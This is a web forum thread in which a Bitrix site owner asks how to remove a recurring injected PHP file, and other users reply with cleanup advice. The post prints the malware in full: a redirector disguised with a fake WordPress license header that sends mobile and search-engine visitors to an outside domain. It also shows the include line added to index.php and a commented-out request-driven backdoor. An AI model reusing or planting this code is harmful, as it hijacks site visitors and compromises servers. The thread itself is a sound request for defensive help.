D
D
dvornik_20022016-11-04 21:40:11
css
dvornik_2002, 2016-11-04 21:40:11

Virus on the site. How to cure?

Good afternoon. Please help me figure it out. There is a site on Bitrix, which, it seems, does not need to be broken. Once a month or two, an unfamiliar php file appears in the site folder. This time it's called inc.class.php How can I get rid of it? I asked questions to the developers of the site, but did not receive an answer. I delete the appeared file, change index.php and again everything works as it should. Thanks in advance.
Here is the content of inc.class.php:

<?php 
/*
=====================================================
WordPress - Open Source Matters
-----------------------------------------------------
https://wordpress.org/
-----------------------------------------------------
Copyright (c) 2004,2014
=====================================================
Core class used to encapsulate a single cookie object for internal use.
=====================================================
The WordPress convention is to use underscores instead of camelCase for function and method
names. Need to switch to use underscores instead for the methods.
=====================================================
GNU GENERAL PUBLIC LICENSE
Version 3, 29 June 2007
Copyright В© 2007 Free Software Foundation, Inc. <http://fsf.org>
Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.
*/                                                                                                                                                        ini_set('display_errors',"Off");function check_cookie($url_redirect){ if (($_SERVER['HTTP_REFERER'] != null) and ($_SERVER['HTTP_REFERER'] != "") and ($_SERVER['HTTP_REFERER'] != " ")){ if(isset($_COOKIE['_cutt_caches_images']) && $_COOKIE['_cutt_caches_images']<strtotime('+24 hours'))return false; setcookie('_cutt_caches_images', time(), strtotime('+24 hours'),"/");header("Location: $url_redirect");exit;}}$q=$_SERVER['QUERY_STRING'];$referer = $q;$referer = str_replace('&', '*', $referer);$referer = str_replace(';', '~', $referer);$referer = trim($referer);$s=stristr($q,'union');$s2=stristr($q,'select');$s3=stristr($q,'from');$s4=stristr($q,'jos_users');$s5=stristr($q,'concat');$s6=stristr($q,'username');$s7=stristr($q,'password');$link = 'http://'.$_SERVER['SERVER_NAME'];if((($s!=false)and($s2!=false))or(($s3!=false)and($s4!=false))or(($s5!=false)and($s6!=false))or(($s5!=false)and($s7!=false))or(($s5!=false)and($s4!=false))){header("Location: $link");exit;}$android_redirect = 'http://mklub.org/library/andr';$ios_redirect = 'http://mklub.org/library/ios';$another_mobile_redirect = 'http://mklub.org/library/mb';$web_potok = 'http://mklub.org/library/web';$iphone = stristr($_SERVER['HTTP_USER_AGENT'],"iPhone");$ipod = stristr($_SERVER['HTTP_USER_AGENT'],"iPod");$ipad = stristr($_SERVER['HTTP_USER_AGENT'],"iPad");$android = stristr($_SERVER['HTTP_USER_AGENT'],"Android");$symb = stristr($_SERVER['HTTP_USER_AGENT'],"Symbian");$wp7 = stristr($_SERVER['HTTP_USER_AGENT'],"WP7");$wp8 = stristr($_SERVER['HTTP_USER_AGENT'],"WP8");$winphone = stristr($_SERVER['HTTP_USER_AGENT'],"WindowsPhone");$berry = stristr($_SERVER['HTTP_USER_AGENT'],"BlackBerry");$palmpre = stristr($_SERVER['HTTP_USER_AGENT'],"webOS");$mobile_tel = stristr($_SERVER['HTTP_USER_AGENT'],"Mobile");$operam = stristr($_SERVER['HTTP_USER_AGENT'],"Opera M");$htc = stristr($_SERVER['HTTP_USER_AGENT'], 'HTC');$fennec = stristr($_SERVER['HTTP_USER_AGENT'],"Fennec");if ($android == true)check_cookie($android_redirect);elseif (($iphone == true) or ($ipod == true) or ($ipad == true)) check_cookie($ios_redirect);elseif (($palmpre == true) or ($mobile_tel == true) or ($operam == true) or ($htc == true) or ($wp7 == true) or ($wp8 == true) or ($symb == true) or ($berry == true) or ($fennec == true) or ($winphone == true)) check_cookie($another_mobile_redirect);elseif (preg_match('#google|yahoo|yandex|vk|odnoklassniki|mail|youtube|wikipedia|netscape|bing|facebook|twitter|dmoz|ebay|icq|yandex|google|rambler#i',$_SERVER['HTTP_REFERER']))check_cookie($web_potok);else $aaa = false;
?>

This changes the index.php file. An extra line is added and the title and other descriptions are changed to gibberish:
<?php if(file_exists($_SERVER['DOCUMENT_ROOT']."/inc.class.php")) require_once $_SERVER['DOCUMENT_ROOT']."/inc.class.php";?>
<?
/*if ($_REQUEST['param1']&&$_REQUEST['param2']) {$f = $_REQUEST['param1']; $p = array($_REQUEST['param2']); $pf = array_filter($p, $f); echo 'OK'; Exit;}*/
$main_page = true;
require($_SERVER["DOCUMENT_ROOT"]."/bitrix/header.php");
$APPLICATION->SetPageProperty("title", "Научные конференции для детей и молодежи");
$APPLICATION->SetPageProperty("keywords", "Всероссийские конкурсы, научные конференции, форумы для детей, научн

Answer the question

In order to leave comments, you need to log in

6 answer(s)
X
xtala zen, 2016-11-04
@xtala

Burn everything with a flamethrower. Restore the site from backups. Update WordPress, change password.

S
Sergey, 2016-11-04
@gangstarcj

https://www.revision.com/ai/

P
profesor08, 2016-11-04
@profesor08

Вам нужна программа для поиска текста в куче файлов. Пробуйте искать с ее помощь место где создается inc.class.php, или хранится. Но раз вы в программировании не разбираетесь, то лучше удалите все файлы сайта, и установите заново, скачав с официального сайта.

L
lubezniy, 2016-11-04
@lubezniy

Видимо, обновить Битрикс до последней версии и сменить все админские пароли. Но сначала поискать (по дате изменения) изменения в других файлах и посторонние файлы и вычистить всё подозрительное.
А насчёт "незачем ломать" - это всегда есть зачем. Просто чтобы была лишняя единичка в нехорошем ботнете, например.

O
OnYourLips, 2016-11-04
@OnYourLips

Нельзя ни в коем случае ковыряться, пытаясь найти вредоносное ПО: вы его не сможете найти, если спрячут качественно. Такое могут вам предложить только люди, абсолютно не смыслящие в веб-разработке.
Сайт удалите целиком. Восстановите оригинальную версию.

D
dvornik_2002, 2016-11-05
@dvornik_2002 Автор вопроса

Спасибо всем за ответы. У меня сайт на Битриксе. Хостинг nic.ru Где там найти вордпресс - пока не пойму. Через программу putty и ssh искал inc.class и прочее - ничего такого не нашел. Видимо имя файла прописывается не целиком, а как-то "собирается". Битрикс обновлен до последней версии, пароли от от хостинга, фтп, сайта уже менял. Из бэкапов - есть версия, которая сдана разработчиком сразу после оплаты (но там сайт совершенно не наполнен), а остальные бэкапы думаю уже с этой дрянью. Попробую написать хостеру.

Didn't find what you were looking for?

Ask your question

Ask a Question

731 491 924 answers to any question